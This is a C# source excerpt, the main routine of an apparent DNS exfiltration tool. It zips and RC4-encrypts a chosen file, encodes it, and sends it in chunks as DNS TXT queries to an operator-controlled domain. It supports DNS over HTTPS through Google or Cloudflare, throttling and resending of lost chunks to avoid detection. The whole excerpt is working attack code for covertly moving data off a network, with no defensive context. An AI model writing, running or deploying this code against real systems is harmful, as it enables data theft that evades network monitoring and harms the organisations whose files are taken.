//------------------------------------------------------------------------------------
        // MAIN FUNCTION
        //------------------------------------------------------------------------------------
        public static void Main(string[] args)
        {
            // Mandatory parameters
            string filePath   = String.Empty;
            string domainName = String.Empty;
            string password   = String.Empty;

            // Optionnal parameters
            string fileName       = String.Empty;
            bool   useBase32      = false;        // Whether or not to use Base32 for data encoding
            bool   useDoH         = false;        // Whether or not to use DoH for name resolution
            string dohProvider    = String.Empty; // Which DoH server to use: google or cloudflare
            string dnsServer      = null;
            int    throttleTime   = 0;
            string data           = String.Empty;
            string request        = String.Empty;
            int    requestMaxSize = 255;       // DNS request max size = 255 bytes
            int    labelMaxSize   = 63;        // DNS request label max size = 63 chars

            //--------------------------------------------------------------
            // Perform arguments checking
            if (args.Length < 3)
            {
                PrintColor("[!] Missing arguments");
                PrintUsage();
                return;
            }

            filePath   = args[0];
            domainName = args[1];
            password   = args[2];
            fileName   = Path.GetFileName(filePath);

            if (!File.Exists(filePath))
            {
                PrintColor(String.Format("[!] File not found: {0}", filePath));
                return;
            }

            // Do we have additionnal arguments ?
            if (new[] { 4, 5, 6, 7 }.Contains(args.Length))
            {
                int i = 3;
                int param;
                while (i < args.Length)
                {
                    if (args[i].StartsWith("s="))
                    {
                        dnsServer = args[i].Split('=')[1];
                        PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer));
                    }
                    else if (args[i].StartsWith("t="))
                    {
                        throttleTime = Convert.ToInt32(args[i].Split('=')[1]);
                        PrintColor(String.Format("[*] Setting throttle time to [{0}] ms", throttleTime));
                    }
                    else if (args[i].StartsWith("r="))
                    {
                        param = Convert.ToInt32(args[i].Split('=')[1]);
                        if (param < 255)
                        {
                            requestMaxSize = param;
                        }
                        PrintColor(String.Format("[*] Setting DNS request max size to [{0}] bytes", requestMaxSize));
                    }
                    else if (args[i].StartsWith("l="))
                    {
                        param = Convert.ToInt32(args[i].Split('=')[1]);
                        if (param < 63)
                        {
                            labelMaxSize = param;
                        }
                        PrintColor(String.Format("[*] Setting label max size to [{0}] chars", labelMaxSize));
                    }
                    else if (args[i].StartsWith("h="))
                    {
                        dohProvider = args[i].Split('=')[1];
                        if (dohProvider.Equals("google") || dohProvider.Equals("cloudflare"))
                        {
                            if (dohProvider.Equals("cloudflare"))
                            {
                                useBase32 = true;
                            }
                            useDoH = true;
                            PrintColor("[*] Using DNS over HTTP for name resolution.");
                        }
                        else
                        {
                            PrintColor(String.Format("[!] Error with DoH parameter."));
                            PrintUsage();
                            return;
                        }
                    }
                    else if (args[i] == "-b32")
                    {
                        useBase32 = true;
                    }
                    i++;
                }
            }

            //--------------------------------------------------------------
            // Compress and encrypt the file in memory
            PrintColor(String.Format("[*] Compressing (ZIP) the [{0}] file in memory", filePath));
            using (var zipStream = new MemoryStream())
            {
                using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true))
                {
                    var entryFile = archive.CreateEntry(fileName);
                    using (var entryStream = entryFile.Open())
                        using (var streamWriter = new BinaryWriter(entryStream))
                        {
                            streamWriter.Write(File.ReadAllBytes(filePath));
                        }
                }

                zipStream.Seek(0, SeekOrigin.Begin);
                PrintColor(String.Format("[*] Encrypting the ZIP file with password [{0}]", password));

                // Should we use base32 encoding ? CloudFlare requires it because of Knot server doing case randomization which breaks base64
                if (useBase32)
                {
                    PrintColor("[*] Encoding the data with Base32");
                    data = ToBase32(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray()));
                }
                else
                {
                    PrintColor("[*] Encoding the data with Base64URL");
                    data = ToBase64URL(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray()));
                }

                PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length));
            }

            //--------------------------------------------------------------
            // Compute the size of the chunk and how it can be split into subdomains (labels)
            // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873

            // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number:
            // <chunk_number>.<data>.<data>.<data>.domainName.
            int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2);           // domain name space usage in bytes

            int nbFullLabels      = bytesLeft / (labelMaxSize + 1);
            int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1;
            int chunkMaxSize      = nbFullLabels * labelMaxSize + smallestLabelSize;
            int nbChunks          = data.Length / chunkMaxSize + 1;

            PrintColor(String.Format("[+] Maximum data exfiltrated per DNS request (chunk max size): [{0}] bytes", chunkMaxSize));
            PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks));

            //--------------------------------------------------------------
            // Send the initial request advertising the fileName and the total number of chunks, with Base32 encoding in all cases
            if (useBase32)
            {
                request = "init." + ToBase32(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + ".base32." + domainName;
            }
            else
            {
                request = "init." + ToBase32(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + ".base64." + domainName;
            }

            PrintColor("[*] Sending 'init' request");

            string reply = String.Empty;

            try {
                if (useDoH)
                {
                    reply = DOHResolver.GetTXTRecord(dohProvider, request);
                }
                else
                {
                    reply = DnsResolver.GetTXTRecord(request, dnsServer);
                }

                if (reply != "OK")
                {
                    PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0]));
                    return;
                }
            }
            catch (Win32Exception e) {
                PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                return;
            }

            //--------------------------------------------------------------
            // Send all chunks of data, one by one
            PrintColor("[*] Sending data...");

            string chunk      = String.Empty;
            int    chunkIndex = 0;
            int    countACK;

            for (int i = 0; i < data.Length;)
            {
                // Get a first chunk of data to send
                chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i));
                int chunkLength = chunk.Length;

                // First part of the request is the chunk number
                request = chunkIndex.ToString() + ".";

                // Then comes the chunk data, split into sublabels
                int j = 0;
                while (j * labelMaxSize < chunkLength)
                {
                    request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - (j * labelMaxSize))) + ".";
                    j++;
                }

                // Eventually comes the top level domain name
                request += domainName;

                // Send the request
                try {
                    if (useDoH)
                    {
                        reply = DOHResolver.GetTXTRecord(dohProvider, request);
                    }
                    else
                    {
                        reply = DnsResolver.GetTXTRecord(request, dnsServer);
                    }

                    countACK = Convert.ToInt32(reply);

                    if (countACK != chunkIndex)
                    {
                        PrintColor(String.Format("[!] Chunk number [{0}] lost.\nResending.", countACK));
                    }
                    else
                    {
                        i += chunkMaxSize;
                        chunkIndex++;
                    }
                }
                catch (Win32Exception e) {
                    PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                    return;
                }

                // Apply throttle if requested
                if (throttleTime != 0)
                {
                    Thread.Sleep(throttleTime);
                }
            }

            PrintColor("[*] DONE !");
        }         // End Main